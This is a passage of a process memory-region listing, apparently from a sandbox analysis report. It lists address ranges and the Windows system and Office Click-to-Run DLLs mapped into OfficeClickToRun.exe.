	              id = 2588
	        start_va = 0x7ff736310000
	          end_va = 0x7ff736311fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736310000"
	        filename = ""

Region:
	              id = 2589
	        start_va = 0x7ff736312000
	          end_va = 0x7ff736313fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736312000"
	        filename = ""

Region:
	              id = 2590
	        start_va = 0x7ff736314000
	          end_va = 0x7ff736315fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736314000"
	        filename = ""

Region:
	              id = 2591
	        start_va = 0x7ff736316000
	          end_va = 0x7ff736317fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736316000"
	        filename = ""

Region:
	              id = 2592
	        start_va = 0x7ff736318000
	          end_va = 0x7ff736319fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736318000"
	        filename = ""

Region:
	              id = 2593
	        start_va = 0x7ff73631a000
	          end_va = 0x7ff73631bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73631a000"
	        filename = ""

Region:
	              id = 2594
	        start_va = 0x7ff73631c000
	          end_va = 0x7ff73631dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73631c000"
	        filename = ""

Region:
	              id = 2595
	        start_va = 0x7ff73631e000
	          end_va = 0x7ff73631ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73631e000"
	        filename = ""

Region:
	              id = 2596
	        start_va = 0x7ff736320000
	          end_va = 0x7ff73641ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff736320000"
	        filename = ""

Region:
	              id = 2597
	        start_va = 0x7ff736420000
	          end_va = 0x7ff736442fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff736420000"
	        filename = ""

Region:
	              id = 2598
	        start_va = 0x7ff736443000
	          end_va = 0x7ff736444fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736443000"
	        filename = ""

Region:
	              id = 2599
	        start_va = 0x7ff736445000
	          end_va = 0x7ff736446fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736445000"
	        filename = ""

Region:
	              id = 2600
	        start_va = 0x7ff736447000
	          end_va = 0x7ff736448fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736447000"
	        filename = ""

Region:
	              id = 2601
	        start_va = 0x7ff736449000
	          end_va = 0x7ff73644afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736449000"
	        filename = ""

Region:
	              id = 2602
	        start_va = 0x7ff73644b000
	          end_va = 0x7ff73644cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73644b000"
	        filename = ""

Region:
	              id = 2603
	        start_va = 0x7ff73644d000
	          end_va = 0x7ff73644efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73644d000"
	        filename = ""

Region:
	              id = 2604
	        start_va = 0x7ff73644f000
	          end_va = 0x7ff73644ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73644f000"
	        filename = ""

Region:
	              id = 2605
	        start_va = 0x7ff736c00000
	          end_va = 0x7ff737367fff
	     entry_point = 0x7ff736c00000
	     region_type = mapped_file
	            name = "officeclicktorun.exe"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")

Region:
	              id = 2606
	        start_va = 0x7ffbeda10000
	          end_va = 0x7ffbeda23fff
	     entry_point = 0x7ffbeda10000
	     region_type = mapped_file
	            name = "mskeyprotect.dll"
	        filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll")

Region:
	              id = 2607
	        start_va = 0x7ffbedac0000
	          end_va = 0x7ffbedadefff
	     entry_point = 0x7ffbedac0000
	     region_type = mapped_file
	            name = "ncryptsslp.dll"
	        filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll")

Region:
	              id = 2608
	        start_va = 0x7ffbf2120000
	          end_va = 0x7ffbf2396fff
	     entry_point = 0x7ffbf2120000
	     region_type = mapped_file
	            name = "msxml6.dll"
	        filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll")

Region:
	              id = 2609
	        start_va = 0x7ffbf25b0000
	          end_va = 0x7ffbf262ffff
	     entry_point = 0x7ffbf25b0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2610
	        start_va = 0x7ffbf5c50000
	          end_va = 0x7ffbf5ef6fff
	     entry_point = 0x7ffbf5c50000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2611
	        start_va = 0x7ffbf6fc0000
	          end_va = 0x7ffbf7156fff
	     entry_point = 0x7ffbf6fc0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2612
	        start_va = 0x7ffbf7b30000
	          end_va = 0x7ffbf7b3dfff
	     entry_point = 0x7ffbf7b30000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2613
	        start_va = 0x7ffbf9250000
	          end_va = 0x7ffbf9264fff
	     entry_point = 0x7ffbf9250000
	     region_type = mapped_file
	            name = "ondemandconnroutehelper.dll"
	        filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll")

Region:
	              id = 2614
	        start_va = 0x7ffbf9380000
	          end_va = 0x7ffbf96f5fff
	     entry_point = 0x7ffbf9380000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2615
	        start_va = 0x7ffbf9f50000
	          end_va = 0x7ffbf9f59fff
	     entry_point = 0x7ffbf9f50000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2616
	        start_va = 0x7ffbfa220000
	          end_va = 0x7ffbfa25efff
	     entry_point = 0x7ffbfa220000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2617
	        start_va = 0x7ffbfa260000
	          end_va = 0x7ffbfa2acfff
	     entry_point = 0x7ffbfa260000
	     region_type = mapped_file
	            name = "appvfilesystemmetadata.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")

Region:
	              id = 2618
	        start_va = 0x7ffbfa2b0000
	          end_va = 0x7ffbfa40dfff
	     entry_point = 0x7ffbfa2b0000
	     region_type = mapped_file
	            name = "appvisvsubsystemcontroller.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")

Region:
	              id = 2619
	        start_va = 0x7ffbfa460000
	          end_va = 0x7ffbfa669fff
	     entry_point = 0x7ffbfa460000
	     region_type = mapped_file
	            name = "appvintegration.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")

Region:
	              id = 2620
	        start_va = 0x7ffbfa670000
	          end_va = 0x7ffbfa6fcfff
	     entry_point = 0x7ffbfa670000
	     region_type = mapped_file
	            name = "appvisvvirtualization.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")

Region:
	              id = 2621
	        start_va = 0x7ffbfa700000
	          end_va = 0x7ffbfa7a1fff
	     entry_point = 0x7ffbfa700000
	     region_type = mapped_file
	            name = "appvcatalog.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")

Region:
	              id = 2622
	        start_va = 0x7ffbfa7b0000
	          end_va = 0x7ffbfa8defff
	     entry_point = 0x7ffbfa7b0000
	     region_type = mapped_file
	            name = "appvmanifest.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")

Region:
	              id = 2623
	        start_va = 0x7ffbfa8e0000
	          end_va = 0x7ffbfa915fff
	     entry_point = 0x7ffbfa8e0000
	     region_type = mapped_file
	            name = "appvisvstreamingmanager.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")

Region:
	              id = 2624
	        start_va = 0x7ffbfa920000
	          end_va = 0x7ffbfaa09fff
	     entry_point = 0x7ffbfa920000
	     region_type = mapped_file
	            name = "appvorchestration.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")

Region:
	              id = 2625
	        start_va = 0x7ffbfaa10000
	          end_va = 0x7ffbfaa26fff
	     entry_point = 0x7ffbfaa10000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 2626
	        start_va = 0x7ffbfaa30000
	          end_va = 0x7ffbfab1efff
	     entry_point = 0x7ffbfaa30000
	     region_type = mapped_file
	            name = "msvcr120.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")

Region:
	              id = 2627
	        start_va = 0x7ffbfab20000
	          end_va = 0x7ffbfabc5fff
	     entry_point = 0x7ffbfab20000
	     region_type = mapped_file
	            name = "msvcp120.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")

Region:
	              id = 2628
	        start_va = 0x7ffbfabd0000
	          end_va = 0x7ffbfad0efff
	     entry_point = 0x7ffbfabd0000
	     region_type = mapped_file
	            name = "appvpolicy.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")

Region:
	              id = 2629
	        start_va = 0x7ffbfad10000
	          end_va = 0x7ffbfad84fff
	     entry_point = 0x7ffbfad10000
	     region_type = mapped_file
	            name = "appvisvapi.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")

Region:
	              id = 2630
	        start_va = 0x7ffbfae30000
	          end_va = 0x7ffbfaeb1fff
	     entry_point = 0x7ffbfae30000
	     region_type = mapped_file
	            name = "msdelta.dll"
	        filename = "\\Windows\\System32\\msdelta.dll" (normalized: "c:\\windows\\system32\\msdelta.dll")

Region:
	              id = 2631
	        start_va = 0x7ffbfaec0000
	          end_va = 0x7ffbfb2a9fff
	     entry_point = 0x7ffbfaec0000
	     region_type = mapped_file
	            name = "streamserver.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")

Region:
	              id = 2632
	        start_va = 0x7ffbfb2b0000
	          end_va = 0x7ffbfb2bbfff
	     entry_point = 0x7ffbfb2b0000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2633
	        start_va = 0x7ffbfb2c0000
	          end_va = 0x7ffbfb2c9fff
	     entry_point = 0x7ffbfb2c0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2634
	        start_va = 0x7ffbfb2d0000
	          end_va = 0x7ffbfb543fff
	     entry_point = 0x7ffbfb2d0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll")

Region:
	              id = 2635
	        start_va = 0x7ffbfb550000
	          end_va = 0x7ffbfb88cfff
	     entry_point = 0x7ffbfb550000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2636
	        start_va = 0x7ffbfb890000
	          end_va = 0x7ffbfb905fff
	     entry_point = 0x7ffbfb890000
	     region_type = mapped_file
	            name = "apiclient.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")

Region:
	              id = 2637
	        start_va = 0x7ffbfb910000
	          end_va = 0x7ffbfb941fff
	     entry_point = 0x7ffbfb910000
	     region_type = mapped_file
	            name = "rstrtmgr.dll"
	        filename = "\\Windows\\System32\\RstrtMgr.dll" (normalized: "c:\\windows\\system32\\rstrtmgr.dll")

Region:
	              id = 2638
	        start_va = 0x7ffbfb950000
	          end_va = 0x7ffbfb9ecfff
	     entry_point = 0x7ffbfb950000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")

Region:
	              id = 2639
	        start_va = 0x7ffbfb9f0000
	          end_va = 0x7ffbfba06fff
	     entry_point = 0x7ffbfb9f0000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")

Region:
	              id = 2640
	        start_va = 0x7ffbfba10000
	          end_va = 0x7ffbfba36fff
	     entry_point = 0x7ffbfba10000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 2641
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2642
	        start_va = 0x7ffbfbe40000
	          end_va = 0x7ffbfbe75fff
	     entry_point = 0x7ffbfbe40000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2643
	        start_va = 0x7ffbfc740000
	          end_va = 0x7ffbfc831fff
	     entry_point = 0x7ffbfc740000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 2644
	        start_va = 0x7ffbfcde0000
	          end_va = 0x7ffbfcdf7fff
	     entry_point = 0x7ffbfcde0000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 2645
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2646
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2647
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2648
	        start_va = 0x7ffbfd340000
	          end_va = 0x7ffbfd355fff
	     entry_point = 0x7ffbfd340000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 2649
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2650
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2651
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2652
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2653
	        start_va = 0x7ffbffaf0000
	          end_va = 0x7ffbffafbfff
	     entry_point = 0x7ffbffaf0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2654
	        start_va = 0x7ffbffb00000
	          end_va = 0x7ffbffb25fff
	     entry_point = 0x7ffbffb00000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 2655
	        start_va = 0x7ffbffc40000
	          end_va = 0x7ffbffcb3fff
	     entry_point = 0x7ffbffc40000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 2656
	        start_va = 0x7ffbffcc0000
	          end_va = 0x7ffbffcc9fff
	     entry_point = 0x7ffbffcc0000
	     region_type = mapped_file
	            name = "dpapi.dll"
	        filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll")

Region:
	              id = 2657
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2658
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2659
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2660
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2661
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2662
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2663
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2664
	        start_va = 0x7ffc00370000
	          end_va = 0x7ffc003a5fff
	     entry_point = 0x7ffc00370000
	     region_type = mapped_file
	            name = "ntasn1.dll"
	        filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll")

Region:
	              id = 2665
	        start_va = 0x7ffc003b0000
	          end_va = 0x7ffc003d5fff
	     entry_point = 0x7ffc003b0000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 2666
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2667
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2668
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2669
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2670
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2671
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 2672
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2673
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 2674
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2675
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 2676
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 2677
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2678
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2679
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2680
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2681
	        start_va = 0x7ffc01630000
	          end_va = 0x7ffc01636fff
	     entry_point = 0x7ffc01630000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2682
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2683
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 2684
	        start_va = 0x7ffc01b20000
	          end_va = 0x7ffc01ce4fff
	     entry_point = 0x7ffc01b20000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 2685
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2686
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2687
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2688
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2689
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
